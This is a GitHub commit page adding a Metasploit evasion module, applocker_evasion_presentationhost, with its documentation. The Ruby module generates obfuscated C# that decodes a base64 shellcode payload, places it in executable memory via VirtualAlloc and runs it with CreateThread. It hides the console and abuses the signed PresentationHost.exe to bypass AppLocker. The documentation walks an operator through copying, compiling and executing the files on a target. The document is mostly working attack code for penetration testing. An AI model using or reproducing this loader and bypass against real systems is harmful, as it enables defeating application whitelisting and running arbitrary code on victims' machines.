forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land rapid7#12154, Add evasion module applocker_evasion_presentationhost
- Loading branch information
Showing
2 changed files
with
203 additions
and
0 deletions.
There are no files selected for viewing
36 changes: 36 additions & 0 deletions
36
documentation/modules/evasion/windows/applocker_evasion_presentationhost.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
## Intro | ||
|
||
This module is designed to evade solutions such as software restriction policies and Applocker. | ||
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories. | ||
Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows" | ||
The main vector for this bypass is to use the trusted binary PresentationHost.exe to execute user supplied code as this binary is located within the trusted Windows directory. | ||
|
||
## Vulnerable Application | ||
|
||
This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block PresentationHost.exe. | ||
|
||
## Options | ||
|
||
- **CS_FILE** - Filename for the evasive file (default: presentationhost.xaml.cs). | ||
- **MANIFEST_FILE** - Filename for the evasive file (default: presentationhost.manifest). | ||
- **CSPROJ_FILE** - Filename for the evasive file (default: presentationhost.csproj). | ||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Do: `use evasion/windows/applocker_evasion_presentationhost` | ||
3. Do: `set PAYLOAD <payload>` (note: only x86 payloads are supported by this module) | ||
4. Do: `run` | ||
5. The module will now display instructions of how to proceed | ||
6. `[+] presentationhost.xaml.cs stored at /root/.msf4/local/presentationhost.xaml.cs` | ||
7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest` | ||
8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj` | ||
9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target` | ||
10. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319"). | ||
11. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap. | ||
|
||
## References | ||
|
||
https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4 | ||
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker | ||
https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies |
167 changes: 167 additions & 0 deletions
167
modules/evasion/windows/applocker_evasion_presentationhost.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,167 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Evasion | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Applocker Evasion - Windows Presentation Foundation Host', | ||
'Description' => %( | ||
This module will assist you in evading Microsoft | ||
Windows Applocker and Software Restriction Policies. | ||
This technique utilises the Microsoft signed binary | ||
PresentationHost.exe to execute user supplied code. | ||
), | ||
'Author' => | ||
[ | ||
'Nick Tyrer <@NickTyrer>', # module development | ||
'Casey Smith' # presentationhost bypass research | ||
], | ||
'License' => 'MSF_LICENSE', | ||
'Platform' => 'win', | ||
'Arch' => [ARCH_X86], | ||
'Targets' => [['Microsoft Windows', {}]]) | ||
) | ||
|
||
register_options( | ||
[ | ||
OptString.new('CS_FILE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']), | ||
OptString.new('MANIFEST_FILE', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']), | ||
OptString.new('CSPROJ_FILE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj']) | ||
] | ||
) | ||
|
||
deregister_options('FILENAME') | ||
end | ||
|
||
def build_payload | ||
Rex::Text.encode_base64(payload.encoded) | ||
end | ||
|
||
def obfu | ||
Rex::Text.rand_text_alpha 8 | ||
end | ||
|
||
def presentationhost_xaml_cs | ||
esc = build_payload | ||
mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] | ||
<<~HEREDOC | ||
using System; | ||
class #{mod[0]}{ | ||
static void Main(string[] args){ | ||
IntPtr #{mod[1]}; | ||
#{mod[1]} = GetConsoleWindow(); | ||
ShowWindow(#{mod[1]}, #{mod[2]}); | ||
string #{mod[3]} = "#{esc}"; | ||
byte[] #{mod[4]} = Convert.FromBase64String(#{mod[3]}); | ||
byte[] #{mod[5]} = #{mod[4]}; | ||
IntPtr #{mod[6]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[5]}.Length, #{mod[7]}, #{mod[8]}); | ||
System.Runtime.InteropServices.Marshal.Copy(#{mod[5]}, 0, #{mod[6]}, #{mod[5]}.Length); | ||
IntPtr #{mod[9]} = IntPtr.Zero; | ||
WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[6]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[10]});} | ||
private static Int32 #{mod[7]}=0x1000; | ||
private static IntPtr #{mod[8]}=(IntPtr)0x40; | ||
private static UInt32 #{mod[10]} = 0xFFFFFFFF; | ||
[System.Runtime.InteropServices.DllImport("kernel32")] | ||
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p); | ||
[System.Runtime.InteropServices.DllImport("kernel32")] | ||
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id); | ||
[System.Runtime.InteropServices.DllImport("kernel32")] | ||
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms); | ||
[System.Runtime.InteropServices.DllImport("user32.dll")] | ||
static extern bool ShowWindow(IntPtr #{mod[1]}, int nCmdShow); | ||
[System.Runtime.InteropServices.DllImport("Kernel32")] | ||
private static extern IntPtr GetConsoleWindow(); | ||
const int #{mod[2]} = 0;} | ||
HEREDOC | ||
end | ||
|
||
def presentationhost_manifest | ||
<<~HEREDOC | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1"> | ||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app" /> | ||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> | ||
<security> | ||
<applicationRequestMinimum> | ||
<defaultAssemblyRequest permissionSetReference="Custom" /> | ||
<PermissionSet class="System.Security.PermissionSet" version="1" ID="Custom" SameSite="site" Unrestricted="true" /> | ||
</applicationRequestMinimum> | ||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> | ||
<requestedExecutionLevel level="asInvoker" uiAccess="false" /> | ||
</requestedPrivileges> | ||
</security> | ||
</trustInfo> | ||
</assembly> | ||
HEREDOC | ||
end | ||
|
||
def presentationhost_csproj | ||
<<~HEREDOC | ||
<?xml version="1.0" encoding="utf-8"?> | ||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
<Import Project="$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')" /> | ||
<PropertyGroup> | ||
<Configuration Condition=" '$(Configuration)' == '' ">Release</Configuration> | ||
<Platform Condition=" '$(Platform)' == '' ">x86</Platform> | ||
<OutputType>WinExe</OutputType> | ||
<HostInBrowser>true</HostInBrowser> | ||
<GenerateManifests>true</GenerateManifests> | ||
<SignManifests>false</SignManifests> | ||
</PropertyGroup> | ||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' "> | ||
<Optimize>true</Optimize> | ||
<OutputPath>.</OutputPath> | ||
</PropertyGroup> | ||
<ItemGroup> | ||
<Reference Include="System" /> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<Compile Include="#{datastore['CS_FILE']}"> | ||
<DependentUpon>#{datastore['CS_FILE']}</DependentUpon> | ||
<SubType>Code</SubType> | ||
</Compile> | ||
</ItemGroup> | ||
<ItemGroup> | ||
<None Include="#{datastore['MANIFEST_FILE']}" /> | ||
</ItemGroup> | ||
<Import Project="$(MSBuildToolsPath)\\Microsoft.CSharp.targets" /> | ||
</Project> | ||
HEREDOC | ||
end | ||
|
||
def file_format_filename(name = '') | ||
name.empty? ? @fname : @fname = name | ||
end | ||
|
||
def create_files | ||
f1 = datastore['CS_FILE'].empty? ? 'presentationhost.xaml.cs' : datastore['CS_FILE'] | ||
f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs') | ||
f2 = datastore['MANIFEST_FILE'].empty? ? 'presentationhost.manifest' : datastore['MANIFEST_FILE'] | ||
f2 << '.manifest' unless f2.downcase.end_with?('.manifest') | ||
f3 = datastore['CSPROJ_FILE'].empty? ? 'presentationhost.csproj' : datastore['CSPROJ_FILE'] | ||
f3 << '.csproj' unless f3.downcase.end_with?('.csproj') | ||
cs_file = presentationhost_xaml_cs | ||
manifest_file = presentationhost_manifest | ||
csproj_file = presentationhost_csproj | ||
file_format_filename(f1) | ||
file_create(cs_file) | ||
file_format_filename(f2) | ||
file_create(manifest_file) | ||
file_format_filename(f3) | ||
file_create(csproj_file) | ||
end | ||
|
||
def instructions | ||
print_status "Copy #{datastore['CS_FILE']}, #{datastore['MANIFEST_FILE']} and #{datastore['CSPROJ_FILE']} to the target" | ||
print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['CSPROJ_FILE']}" | ||
print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['CS_FILE'].gsub('.xaml.cs', '.xbap')}" | ||
end | ||
|
||
def run | ||
create_files | ||
instructions | ||
end | ||
end |